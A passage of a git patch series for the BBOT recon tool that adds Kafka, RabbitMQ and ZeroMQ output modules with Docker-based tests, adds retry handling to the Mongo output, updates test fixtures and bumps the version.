a/bbot/core/event/base.py b/bbot/core/event/base.py index d4a37b8f24..066e7469fb 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -814,7 +814,7 @@ def json(self, mode="json"): if parent_uuid: j["parent_uuid"] = parent_uuid # tags - j.update({"tags": list(self.tags)}) + j.update({"tags": sorted(self.tags)}) # parent module if self.module: j.update({"module": str(self.module)}) diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py index 15bc023df8..42c331c516 100644 --- a/bbot/modules/output/elastic.py +++ b/bbot/modules/output/elastic.py @@ -2,6 +2,10 @@ class Elastic(HTTP): + """ + docker run -d -p 9200:9200 --name=bbot-elastic --v "$(pwd)/elastic_data:/usr/share/elasticsearch/data" -e ELASTIC_PASSWORD=bbotislife -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.16.0 + """ + watched_events = ["*"] metadata = { "description": "Send scan results to Elasticsearch", @@ -9,9 +13,9 @@ class Elastic(HTTP): "author": "@TheTechromancer", } options = { - "url": "", + "url": "https://localhost:9200/bbot_events/_doc", "username": "elastic", - "password": "changeme", + "password": "bbotislife", "timeout": 10, } options_desc = { @@ -20,3 +24,9 @@ class Elastic(HTTP): "password": "Elastic password", "timeout": "HTTP timeout", } + + async def cleanup(self): + # refresh the index + doc_regex = self.helpers.re.compile(r"/[^/]+$") + refresh_url = doc_regex.sub("/_refresh", self.url) + await self.helpers.request(refresh_url, auth=self.auth) diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py new file mode 100644 index 0000000000..5b2db13d60 --- /dev/null +++ b/bbot/modules/output/kafka.py @@ -0,0 +1,42 @@ +import json +from aiokafka import AIOKafkaProducer + +from bbot.modules.output.base import BaseOutputModule + + +class Kafka(BaseOutputModule): + watched_events = ["*"] + meta = { + "description": "Output scan data to a Kafka topic", + "created_date": "2024-11-17", + "author": "@TheTechromancer", + } + options = { + "bootstrap_servers": "localhost:9092", + "topic": "bbot_events", + } + options_desc = { + "bootstrap_servers": "A comma-separated list of Kafka server addresses", + "topic": "The Kafka topic to publish events to", + } + deps_pip = ["aiokafka~=0.12.0"] + + async def setup(self): + self.bootstrap_servers = self.config.get("bootstrap_servers", "localhost:9092") + self.topic = self.config.get("topic", "bbot_events") + self.producer = AIOKafkaProducer(bootstrap_servers=self.bootstrap_servers) + + # Start the producer + await self.producer.start() + self.verbose("Kafka producer started successfully") + return True + + async def handle_event(self, event): + event_json = event.json() + event_data = json.dumps(event_json).encode("utf-8") + await self.producer.send_and_wait(self.topic, event_data) + + async def cleanup(self): + # Stop the producer + await self.producer.stop() + self.verbose("Kafka producer stopped successfully") diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 0915c4cb91..0db6e1225e 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -865,15 +865,15 @@ async def _cleanup(self): if not self._cleanedup: self._cleanedup = True self.status = "CLEANING_UP" + # clean up modules + for mod in self.modules.values(): + await mod._cleanup() # clean up dns engine if self.helpers._dns is not None: await self.helpers.dns.shutdown() # clean up web engine if self.helpers._web is not None: await self.helpers.web.shutdown() - # clean up modules - for mod in self.modules.values(): - await mod._cleanup() with contextlib.suppress(Exception): self.home.rmdir() self.helpers.clean_old_scans() diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index 710c22e0f0..2f8891a640 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -48,12 +48,11 @@ async def setup_before_prep(self, module_test): response.raise_for_status() break except Exception as e: - print(f"Connection failed: {e}. Retrying...", flush=True) + self.log.verbose(f"Connection failed: {e}. Retrying...", flush=True) time.sleep(0.5) # Ensure the index is empty await client.delete(f"https://localhost:9200/bbot_test_events", auth=("elastic", "bbotislife")) - print("Elasticsearch index cleaned up", flush=True) async def check(self, module_test, events): try: @@ -65,17 +64,11 @@ async def check(self, module_test, events): # Connect to Elasticsearch async with httpx.AsyncClient(verify=False) as client: - # refresh the index - await client.post(f"https://localhost:9200/bbot_test_events/_refresh", auth=("elastic", "bbotislife")) - # Fetch all events from the index response = await client.get( f"https://localhost:9200/bbot_test_events/_search?size=100", auth=("elastic", "bbotislife") ) response_json = response.json() - import json - - print(f"response: {json.dumps(response_json, indent=2)}") db_events = [hit["_source"] for hit in response_json["hits"]["hits"]] # make sure we have the same number of events diff --git a/bbot/test/test_step_2/module_tests/test_module_kafka.py b/bbot/test/test_step_2/module_tests/test_module_kafka.py new file mode 100644 index 0000000000..6a81173561 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_kafka.py @@ -0,0 +1,108 @@ +import json +import asyncio +from contextlib import suppress + +from .base import ModuleTestBase + + +class TestKafka(ModuleTestBase): + config_overrides = { + "modules": { + "kafka": { + "bootstrap_servers": "localhost:9092", + "topic": "bbot_events", + } + } + } + skip_distro_tests = True + + async def setup_before_prep(self, module_test): + # Start Zookeeper + await asyncio.create_subprocess_exec( + "docker", "run", "-d", "--rm", "--name", "bbot-test-zookeeper", "-p", "2181:2181", "zookeeper:3.9" + ) + + # Wait for Zookeeper to be ready + while True: + try: + # Attempt to connect to Zookeeper with a timeout + reader, writer = await asyncio.wait_for(asyncio.open_connection("localhost", 2181), timeout=0.5) + break # Exit the loop if the connection is successful + except Exception as e: + self.log.verbose(f"Waiting for Zookeeper to be ready: {e}") + await asyncio.sleep(0.5) # Wait a bit before retrying + finally: + with suppress(Exception): + writer.close() + await writer.wait_closed() + + # Start Kafka using wurstmeister/kafka + await asyncio.create_subprocess_exec( + "docker", + "run", + "-d", + "--rm", + "--name", + "bbot-test-kafka", + "--link", + "bbot-test-zookeeper:zookeeper", + "-e", + "KAFKA_ZOOKEEPER_CONNECT=zookeeper:2181", + "-e", + "KAFKA_LISTENERS=PLAINTEXT://0.0.0.0:9092", + "-e", + "KAFKA_ADVERTISED_LISTENERS=PLAINTEXT://localhost:9092", + "-e", + "KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR=1", + "-p", + "9092:9092", + "wurstmeister/kafka", + ) + + from aiokafka import AIOKafkaConsumer + + # Wait for Kafka to be ready + while True: + try: + self.consumer = AIOKafkaConsumer( + "bbot_events", + bootstrap_servers="localhost:9092", + group_id="test_group", + ) + await self.consumer.start() + break # Exit the loop if the consumer starts successfully + except Exception as e: + self.log.verbose(f"Waiting for Kafka to be ready: {e}") + if hasattr(self, "consumer") and not self.consumer._closed: + await self.consumer.stop() + await asyncio.sleep(0.5) # Wait a bit before retrying + + async def check(self, module_test, events): + try: + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Collect events from Kafka + kafka_events = [] + async for msg in self.consumer: + event_data = json.loads(msg.value.decode("utf-8")) + kafka_events.append(event_data) + if len(kafka_events) >= len(events_json): + break + + kafka_events.sort(key=lambda x: x["timestamp"]) + + # Verify the events match + assert events_json == kafka_events, "Events do not match" + + finally: + # Clean up: Stop the Kafka consumer + if hasattr(self, "consumer") and not self.consumer._closed: + await self.consumer.stop() + # Stop Kafka and Zookeeper containers + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-kafka", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-zookeeper", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) From 88920d05a5320a82876fbd2229c88b5eaae62463 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 18:56:45 -0500 Subject: [PATCH 016/912] fix elastic tests --- bbot/test/test_step_2/module_tests/test_module_elastic.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index 2f8891a640..db9f2359f7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -48,7 +48,7 @@ async def setup_before_prep(self, module_test): response.raise_for_status() break except Exception as e: - self.log.verbose(f"Connection failed: {e}. Retrying...", flush=True) + self.log.verbose(f"Connection failed: {e}. Retrying...") time.sleep(0.5) # Ensure the index is empty @@ -117,7 +117,7 @@ async def check(self, module_test, events): auth=("elastic", "bbotislife"), params={"ignore": "400,404"}, ) - print(f"Deleted documents from index", flush=True) + self.log.verbose(f"Deleted documents from index") await asyncio.create_subprocess_exec( "docker", "stop", "bbot-test-elastic", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) From 10ed49450c336bb28ecb21eac958586a25a82369 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 18:45:47 -0500 Subject: [PATCH 017/912] rabbitmq module --- bbot/modules/output/kafka.py | 2 +- bbot/modules/output/rabbitmq.py | 50 ++++++++++++++ .../module_tests/test_module_rabbitmq.py | 69 +++++++++++++++++++ 3 files changed, 120 insertions(+), 1 deletion(-) create mode 100644 bbot/modules/output/rabbitmq.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_rabbitmq.py diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py index 5b2db13d60..9b99710928 100644 --- a/bbot/modules/output/kafka.py +++ b/bbot/modules/output/kafka.py @@ -8,7 +8,7 @@ class Kafka(BaseOutputModule): watched_events = ["*"] meta = { "description": "Output scan data to a Kafka topic", - "created_date": "2024-11-17", + "created_date": "2024-11-22", "author": "@TheTechromancer", } options = { diff --git a/bbot/modules/output/rabbitmq.py b/bbot/modules/output/rabbitmq.py new file mode 100644 index 0000000000..64c094dfbf --- /dev/null +++ b/bbot/modules/output/rabbitmq.py @@ -0,0 +1,50 @@ +import json +import aio_pika + +from bbot.modules.output.base import BaseOutputModule + + +class RabbitMQ(BaseOutputModule): + watched_events = ["*"] + meta = { + "description": "Output scan data to a RabbitMQ queue", + "created_date": "2024-11-22", + "author": "@TheTechromancer", + } + options = { + "url": "amqp://guest:guest@localhost/", + "queue": "bbot_events", + } + options_desc = { + "url": "The RabbitMQ connection URL", + "queue": "The RabbitMQ queue to publish events to", + } + deps_pip = ["aio_pika~=9.5.0"] + + async def setup(self): + self.rabbitmq_url = self.config.get("url", "amqp://guest:guest@localhost/") + self.queue_name = self.config.get("queue", "bbot_events") + + # Connect to RabbitMQ + self.connection = await aio_pika.connect_robust(self.rabbitmq_url) + self.channel = await self.connection.channel() + + # Declare the queue + self.queue = await self.channel.declare_queue(self.queue_name, durable=True) + self.verbose("RabbitMQ connection and queue setup successfully") + return True + + async def handle_event(self, event): + event_json = event.json() + event_data = json.dumps(event_json).encode("utf-8") + + # Publish the message to the queue + await self.channel.default_exchange.publish( + aio_pika.Message(body=event_data), + routing_key=self.queue_name, + ) + + async def cleanup(self): + # Close the connection + await self.connection.close() + self.verbose("RabbitMQ connection closed successfully") diff --git a/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py b/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py new file mode 100644 index 0000000000..d05808c2da --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py @@ -0,0 +1,69 @@ +import json +import asyncio +from contextlib import suppress + +from .base import ModuleTestBase + + +class TestRabbitMQ(ModuleTestBase): + config_overrides = { + "modules": { + "rabbitmq": { + "url": "amqp://guest:guest@localhost/", + "queue": "bbot_events", + } + } + } + skip_distro_tests = True + + async def setup_before_prep(self, module_test): + import aio_pika + + # Start RabbitMQ + await asyncio.create_subprocess_exec( + "docker", "run", "-d", "--rm", "--name", "bbot-test-rabbitmq", "-p", "5672:5672", "rabbitmq:3-management" + ) + + # Wait for RabbitMQ to be ready + while True: + try: + # Attempt to connect to RabbitMQ with a timeout + connection = await aio_pika.connect_robust("amqp://guest:guest@localhost/") + break # Exit the loop if the connection is successful + except Exception as e: + with suppress(Exception): + await connection.close() + self.log.verbose(f"Waiting for RabbitMQ to be ready: {e}") + await asyncio.sleep(0.5) # Wait a bit before retrying + + self.connection = connection + self.channel = await self.connection.channel() + self.queue = await self.channel.declare_queue("bbot_events", durable=True) + + async def check(self, module_test, events): + try: + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Collect events from RabbitMQ + rabbitmq_events = [] + async with self.queue.iterator() as queue_iter: + async for message in queue_iter: + async with message.process(): + event_data = json.loads(message.body.decode("utf-8")) + rabbitmq_events.append(event_data) + if len(rabbitmq_events) >= len(events_json): + break + + rabbitmq_events.sort(key=lambda x: x["timestamp"]) + + # Verify the events match + assert events_json == rabbitmq_events, "Events do not match" + + finally: + # Clean up: Close the RabbitMQ connection + await self.connection.close() + # Stop RabbitMQ container + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-rabbitmq", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) From 62267273aa2b61c4ac55212fa2ae90d24f667aab Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 19:54:29 -0500 Subject: [PATCH 018/912] better error handling in module --- bbot/modules/output/kafka.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py index 5b2db13d60..0c28075450 100644 --- a/bbot/modules/output/kafka.py +++ b/bbot/modules/output/kafka.py @@ -34,7 +34,12 @@ async def setup(self): async def handle_event(self, event): event_json = event.json() event_data = json.dumps(event_json).encode("utf-8") - await self.producer.send_and_wait(self.topic, event_data) + while 1: + try: + await self.producer.send_and_wait(self.topic, event_data) + except Exception as e: + self.warning(f"Error sending event to Kafka: {e}, retrying...") + await self.helpers.sleep(1) async def cleanup(self): # Stop the producer From 996f8d5a09301032c213b77883a7804f0c1bd7bb Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 19:54:39 -0500 Subject: [PATCH 019/912] better error handling in module --- bbot/modules/output/kafka.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py index 0c28075450..0a31e0be12 100644 --- a/bbot/modules/output/kafka.py +++ b/bbot/modules/output/kafka.py @@ -37,6 +37,7 @@ async def handle_event(self, event): while 1: try: await self.producer.send_and_wait(self.topic, event_data) + break except Exception as e: self.warning(f"Error sending event to Kafka: {e}, retrying...") await self.helpers.sleep(1) From 571a6cdb10e6b3cc6c5f42754eaa91f62935bcea Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 19:57:19 -0500 Subject: [PATCH 020/912] fix tests, better error handling in module --- bbot/modules/output/rabbitmq.py | 14 ++++++++++---- bbot/test/test_step_1/test_python_api.py | 2 +- 2 files changed, 11 insertions(+), 5 deletions(-) diff --git a/bbot/modules/output/rabbitmq.py b/bbot/modules/output/rabbitmq.py index 64c094dfbf..ba4205940d 100644 --- a/bbot/modules/output/rabbitmq.py +++ b/bbot/modules/output/rabbitmq.py @@ -39,10 +39,16 @@ async def handle_event(self, event): event_data = json.dumps(event_json).encode("utf-8") # Publish the message to the queue - await self.channel.default_exchange.publish( - aio_pika.Message(body=event_data), - routing_key=self.queue_name, - ) + while 1: + try: + await self.channel.default_exchange.publish( + aio_pika.Message(body=event_data), + routing_key=self.queue_name, + ) + break + except Exception as e: + self.error(f"Error publishing message to RabbitMQ: {e}, rerying...") + await self.helpers.sleep(1) async def cleanup(self): # Close the connection diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index eaa9636b1c..d67cb45999 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -119,7 +119,7 @@ def test_python_api_validation(): # normal module as output module with pytest.raises(ValidationError) as error: Scanner(output_modules=["robots"]) - assert str(error.value) == 'Could not find output module "robots". Did you mean "web_report"?' + assert str(error.value) == 'Could not find output module "robots". Did you mean "rabbitmq"?' # invalid preset type with pytest.raises(ValidationError) as error: Scanner(preset="asdf") From 5fef8e2c7a76cbc54b66866de9ecab865d365aa9 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 19:58:06 -0500 Subject: [PATCH 021/912] better mongo error handling --- bbot/modules/output/mongo.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index 6ad16620f6..118ca82378 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -59,7 +59,13 @@ async def setup(self): async def handle_event(self, event): event_json = event.json() event_pydantic = Event(**event_json) - await self.events_collection.insert_one(event_pydantic.model_dump()) + while 1: + try: + await self.events_collection.insert_one(event_pydantic.model_dump()) + break + except Exception as e: + self.warning(f"Error inserting event into MongoDB: {e}, retrying...") + await self.helpers.sleep(1) if event.type == "SCAN": scan_json = Scan(**event.data_json).model_dump() From 59be2b23498ea9c7ba4ca2518d69d2835b9b6484 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 20:08:19 -0500 Subject: [PATCH 022/912] added zeromq output module --- bbot/modules/output/zeromq.py | 46 +++++++++++++++++++ .../module_tests/test_module_zeromq.py | 46 +++++++++++++++++++ 2 files changed, 92 insertions(+) create mode 100644 bbot/modules/output/zeromq.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_zeromq.py diff --git a/bbot/modules/output/zeromq.py b/bbot/modules/output/zeromq.py new file mode 100644 index 0000000000..938f234545 --- /dev/null +++ b/bbot/modules/output/zeromq.py @@ -0,0 +1,46 @@ +import zmq +import json + +from bbot.modules.output.base import BaseOutputModule + + +class ZeroMQ(BaseOutputModule): + watched_events = ["*"] + meta = { + "description": "Output scan data to a ZeroMQ socket (PUB)", + "created_date": "2024-11-22", + "author": "@TheTechromancer", + } + options = { + "zmq_address": "", + } + options_desc = { + "zmq_address": "The ZeroMQ socket address to publish events to (e.g. tcp://localhost:5555)", + } + + async def setup(self): + self.zmq_address = self.config.get("zmq_address", "") + if not self.zmq_address: + return False, "ZeroMQ address is required" + self.context = zmq.asyncio.Context() + self.socket = self.context.socket(zmq.PUB) + self.socket.bind(self.zmq_address) + self.verbose("ZeroMQ publisher socket bound successfully") + return True + + async def handle_event(self, event): + event_json = event.json() + event_data = json.dumps(event_json).encode("utf-8") + while 1: + try: + await self.socket.send(event_data) + break + except Exception as e: + self.warning(f"Error sending event to ZeroMQ: {e}, retrying...") + await self.helpers.sleep(1) + + async def cleanup(self): + # Close the socket + self.socket.close() + self.context.term() + self.verbose("ZeroMQ publisher socket closed successfully") diff --git a/bbot/test/test_step_2/module_tests/test_module_zeromq.py b/bbot/test/test_step_2/module_tests/test_module_zeromq.py new file mode 100644 index 0000000000..8c118570ef --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_zeromq.py @@ -0,0 +1,46 @@ +import json +import zmq +import zmq.asyncio + +from .base import ModuleTestBase + + +class TestZeroMQ(ModuleTestBase): + config_overrides = { + "modules": { + "zeromq": { + "zmq_address": "tcp://localhost:5555", + } + } + } + + async def setup_before_prep(self, module_test): + # Setup ZeroMQ context and socket + self.context = zmq.asyncio.Context() + self.socket = self.context.socket(zmq.SUB) + self.socket.connect("tcp://localhost:5555") + self.socket.setsockopt_string(zmq.SUBSCRIBE, "") + + async def check(self, module_test, events): + try: + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Collect events from ZeroMQ + zmq_events = [] + while len(zmq_events) < len(events_json): + msg = await self.socket.recv() + event_data = json.loads(msg.decode("utf-8")) + zmq_events.append(event_data) + + zmq_events.sort(key=lambda x: x["timestamp"]) + + assert len(events_json) == len(zmq_events), "Number of events does not match" + + # Verify the events match + assert events_json == zmq_events, "Events do not match" + + finally: + # Clean up: Close the ZeroMQ socket + self.socket.close() + self.context.term() From 4c757463d508a357474a6f29d977c5e7ef572a81 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 20:42:49 -0500 Subject: [PATCH 023/912] bump version --- pyproject.toml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index d333855f28..6c31fb1685 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "bbot" -version = "2.3.0" +version = "3.0.0" description = "OSINT automation for hackers." authors = [ "TheTechromancer", @@ -104,7 +104,7 @@ lint.ignore = ["E402", "E711", "E712", "E713", "E721", "E731", "E741", "F401", " [tool.poetry-dynamic-versioning] enable = true metadata = false -format-jinja = 'v2.3.0{% if branch == "dev" %}.{{ distance }}rc{% endif %}' +format-jinja = 'v3.0.0{% if branch == "dev" %}.{{ distance }}rc{% endif %}' [tool.poetry-dynamic-versioning.substitution] files = ["*/__init__.py"] From 7f99c7eb12e6fc95a4d372a882376ed6e7f13666 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 19 Nov 2024 23:22:52 -0500 Subject: [PATCH 024/912] fix conflict --- bbot/core/event/base.py | 6 +-- bbot/scanner/scanner.py | 3 +- bbot/test/bbot_fixtures.py | 76 ++++++++++++++++++++++++++------------ 3 files changed, 58 insertions(+), 27 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index bb6d92e91f..7255b024f0 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -40,6 +40,7 @@ validators, get_file_extension, ) +from bbot.db.helpers import naive_datetime_validator log = logging.getLogger("bbot.core.event") @@ -802,7 +803,7 @@ def json(self, mode="json", siem_friendly=False): if self.scan: j["scan"] = self.scan.id # timestamp - j["timestamp"] = self.timestamp.isoformat() + j["timestamp"] = naive_datetime_validator(self.timestamp).isoformat() # parent event parent_id = self.parent_id if parent_id: @@ -811,8 +812,7 @@ def json(self, mode="json", siem_friendly=False): if parent_uuid: j["parent_uuid"] = parent_uuid # tags - if self.tags: - j.update({"tags": list(self.tags)}) + j.update({"tags": list(self.tags)}) # parent module if self.module: j.update({"module": str(self.module)}) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 49114a5b5d..62e5c9d3ab 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -500,7 +500,8 @@ async def setup_modules(self, remove_failed=True): self.modules[module.name].set_error_state() hard_failed.append(module.name) else: - self.info(f"Setup soft-failed for {module.name}: {msg}") + log_fn = self.warning if module._type == "output" else self.info + log_fn(f"Setup soft-failed for {module.name}: {msg}") soft_failed.append(module.name) if (not status) and (module._intercept or remove_failed): # if a intercept module fails setup, we always remove it diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index e1e3aa1b8b..4d73d036c1 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -147,48 +147,78 @@ def helpers(scan): @pytest.fixture def events(scan): + + dummy_module = scan._make_dummy_module("dummy_module") + class bbot_events: - localhost = scan.make_event("127.0.0.1", parent=scan.root_event) - ipv4 = scan.make_event("8.8.8.8", parent=scan.root_event) - netv4 = scan.make_event("8.8.8.8/30", parent=scan.root_event) - ipv6 = scan.make_event("2001:4860:4860::8888", parent=scan.root_event) - netv6 = scan.make_event("2001:4860:4860::8888/126", parent=scan.root_event) - domain = scan.make_event("publicAPIs.org", parent=scan.root_event) - subdomain = scan.make_event("api.publicAPIs.org", parent=scan.root_event) - email = scan.make_event("bob@evilcorp.co.uk", "EMAIL_ADDRESS", parent=scan.root_event) - open_port = scan.make_event("api.publicAPIs.org:443", parent=scan.root_event) + localhost = scan.make_event("127.0.0.1", parent=scan.root_event, module=dummy_module) + ipv4 = scan.make_event("8.8.8.8", parent=scan.root_event, module=dummy_module) + netv4 = scan.make_event("8.8.8.8/30", parent=scan.root_event, module=dummy_module) + ipv6 = scan.make_event("2001:4860:4860::8888", parent=scan.root_event, module=dummy_module) + netv6 = scan.make_event("2001:4860:4860::8888/126", parent=scan.root_event, module=dummy_module) + domain = scan.make_event("publicAPIs.org", parent=scan.root_event, module=dummy_module) + subdomain = scan.make_event("api.publicAPIs.org", parent=scan.root_event, module=dummy_module) + email = scan.make_event("bob@evilcorp.co.uk", "EMAIL_ADDRESS", parent=scan.root_event, module=dummy_module) + open_port = scan.make_event("api.publicAPIs.org:443", parent=scan.root_event, module=dummy_module) protocol = scan.make_event( - {"host": "api.publicAPIs.org", "port": 443, "protocol": "HTTP"}, "PROTOCOL", parent=scan.root_event + {"host": "api.publicAPIs.org", "port": 443, "protocol": "HTTP"}, + "PROTOCOL", + parent=scan.root_event, + module=dummy_module, + ) + ipv4_open_port = scan.make_event("8.8.8.8:443", parent=scan.root_event, module=dummy_module) + ipv6_open_port = scan.make_event( + "[2001:4860:4860::8888]:443", "OPEN_TCP_PORT", parent=scan.root_event, module=dummy_module + ) + url_unverified = scan.make_event( + "https://api.publicAPIs.org:443/hellofriend", parent=scan.root_event, module=dummy_module + ) + ipv4_url_unverified = scan.make_event( + "https://8.8.8.8:443/hellofriend", parent=scan.root_event, module=dummy_module + ) + ipv6_url_unverified = scan.make_event( + "https://[2001:4860:4860::8888]:443/hellofriend", parent=scan.root_event, module=dummy_module ) - ipv4_open_port = scan.make_event("8.8.8.8:443", parent=scan.root_event) - ipv6_open_port = scan.make_event("[2001:4860:4860::8888]:443", "OPEN_TCP_PORT", parent=scan.root_event) - url_unverified = scan.make_event("https://api.publicAPIs.org:443/hellofriend", parent=scan.root_event) - ipv4_url_unverified = scan.make_event("https://8.8.8.8:443/hellofriend", parent=scan.root_event) - ipv6_url_unverified = scan.make_event("https://[2001:4860:4860::8888]:443/hellofriend", parent=scan.root_event) url = scan.make_event( - "https://api.publicAPIs.org:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event + "https://api.publicAPIs.org:443/hellofriend", + "URL", + tags=["status-200"], + parent=scan.root_event, + module=dummy_module, ) ipv4_url = scan.make_event( - "https://8.8.8.8:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event + "https://8.8.8.8:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event, module=dummy_module ) ipv6_url = scan.make_event( - "https://[2001:4860:4860::8888]:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event + "https://[2001:4860:4860::8888]:443/hellofriend", + "URL", + tags=["status-200"], + parent=scan.root_event, + module=dummy_module, + ) + url_hint = scan.make_event( + "https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url, module=dummy_module ) - url_hint = scan.make_event("https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url) vulnerability = scan.make_event( {"host": "evilcorp.com", "severity": "INFO", "description": "asdf"}, "VULNERABILITY", parent=scan.root_event, + module=dummy_module, + ) + finding = scan.make_event( + {"host": "evilcorp.com", "description": "asdf"}, "FINDING", parent=scan.root_event, module=dummy_module + ) + vhost = scan.make_event( + {"host": "evilcorp.com", "vhost": "www.evilcorp.com"}, "VHOST", parent=scan.root_event, module=dummy_module ) - finding = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", parent=scan.root_event) - vhost = scan.make_event({"host": "evilcorp.com", "vhost": "www.evilcorp.com"}, "VHOST", parent=scan.root_event) - http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event) + http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event, module=dummy_module) storage_bucket = scan.make_event( {"name": "storage", "url": "https://storage.blob.core.windows.net"}, "STORAGE_BUCKET", parent=scan.root_event, + module=dummy_module, ) - emoji = scan.make_event("💩", "WHERE_IS_YOUR_GOD_NOW", parent=scan.root_event) + emoji = scan.make_event("💩", "WHERE_IS_YOUR_GOD_NOW", parent=scan.root_event, module=dummy_module) bbot_events.all = [ # noqa: F841 bbot_events.localhost, From bca05004da1a766c4d07248660d47e21a66f6022 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 17:25:16 -0500 Subject: [PATCH 025/912] resolve conflict --- bbot/core/event/base.py | 2 +- bbot/models/helpers.py | 16 +++ bbot/models/pydantic.py | 111 ++++++++++++++++++ bbot/{db/sql/models.py => models/sql.py} | 0 bbot/modules/output/mongo.py | 68 +++++++++++ bbot/modules/templates/sql.py | 2 +- bbot/test/test_step_1/test_db_models.py | 29 +++++ .../module_tests/test_module_mongo.py | 81 +++++++++++++ 8 files changed, 307 insertions(+), 2 deletions(-) create mode 100644 bbot/models/helpers.py create mode 100644 bbot/models/pydantic.py rename bbot/{db/sql/models.py => models/sql.py} (100%) create mode 100644 bbot/modules/output/mongo.py create mode 100644 bbot/test/test_step_1/test_db_models.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_mongo.py diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 7255b024f0..18074321d8 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -40,7 +40,7 @@ validators, get_file_extension, ) -from bbot.db.helpers import naive_datetime_validator +from bbot.models.helpers import naive_datetime_validator log = logging.getLogger("bbot.core.event") diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py new file mode 100644 index 0000000000..40e127c53b --- /dev/null +++ b/bbot/models/helpers.py @@ -0,0 +1,16 @@ +from datetime import datetime +from typing_extensions import Annotated +from pydantic.functional_validators import AfterValidator + + +def naive_datetime_validator(d: datetime): + """ + Converts all dates into UTC, then drops timezone information. + + This is needed to prevent inconsistencies in sqlite, because it is timezone-naive. + """ + # drop timezone info + return d.replace(tzinfo=None) + + +NaiveUTC = Annotated[datetime, AfterValidator(naive_datetime_validator)] diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py new file mode 100644 index 0000000000..0d54cc91b7 --- /dev/null +++ b/bbot/models/pydantic.py @@ -0,0 +1,111 @@ +import json +import logging +from datetime import datetime 